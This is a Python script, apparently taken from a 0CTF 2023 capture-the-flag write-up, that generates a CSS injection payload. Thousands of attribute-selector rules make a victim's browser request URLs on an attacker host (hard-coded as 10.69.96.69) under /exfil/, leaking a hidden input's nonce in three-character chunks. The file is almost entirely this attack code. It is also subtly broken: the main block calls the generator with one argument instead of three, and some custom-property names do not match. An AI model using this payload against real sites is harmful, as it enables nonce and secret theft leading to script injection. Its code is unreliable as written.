#!/usr/bin/env python3
# CSS injection one-shot payload generator
# from https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html
import itertools

TEMPLATE_START = '''input[name="%s"][value^="%s"] + input + table {
    --props_%s: url(%s/exfil/prefix/%s);
}
'''
TEMPLATE_CONTAINS =  '''input[name="%s"][value*="%s"] + input + table {
    --prop_%s: url(%s/exfil/contains/%s);
}
'''
TEMPLATE_END = '''input[name="%s"][value$="%s"] + input + table {
    --props_%s: url(%s/exfil/suffix/%s);
}
'''
TEMPLATE_BACKGROUND = '''input[name="%s"] + input + table {
    background: %s;
}
'''
CHARSET = '0123456789abcdef'
NONCE_LENGTH = 10
TRIGRAM_CHUNK_SIZE = 3
REMAINING_CHUNK_SIZE = NONCE_LENGTH - (TRIGRAM_CHUNK_SIZE * 2)

def generateTemplate(elementName, attackerIpAddress, attackerPort):
    attackerUrl = f'http://{attackerIpAddress}' if attackerPort == 80 else f'http://{attackerIpAddress}:{attackerPort}'
    print('[*] Generating CSS injection in one-shot payload, please wait...')
    all_css = ''
    props = []

    # generate template starts with
    # we need to split the nonce into 3 characters chunk to do trigram search later on
    for cs in itertools.product(CHARSET, repeat=TRIGRAM_CHUNK_SIZE):
        s = ''.join(cs)
        all_css += TEMPLATE_START % (elementName, s, s, attackerUrl, s)
        props.append(f'var(--props_{s},none)')

    # generate template contains
    # we need to split the nonce into 3 characters chunk to do trigram search later on
    for i, cs in enumerate(itertools.product(CHARSET, repeat=TRIGRAM_CHUNK_SIZE)):
        s = ''.join(cs)
        all_css += TEMPLATE_CONTAINS % (elementName, s, s, attackerUrl, s)
        props.append(f'var(--prop_{s},none)')

    # generate template ends with
    for i, cs in enumerate(itertools.product(CHARSET, repeat=REMAINING_CHUNK_SIZE)):
        s = ''.join(cs)
        all_css += TEMPLATE_END % (elementName, s, s, attackerUrl, s)
        props.append(f'var(--prop_{s},none)')

    payload = all_css + (TEMPLATE_BACKGROUND % (elementName, ','.join(props)))
    print('[+] Payload has been generated!')
    return payload

if __name__ == '__main__':
    attackerUrl = 'http://10.69.96.69'
    payload = generateTemplate(attackerUrl)
    print(payload)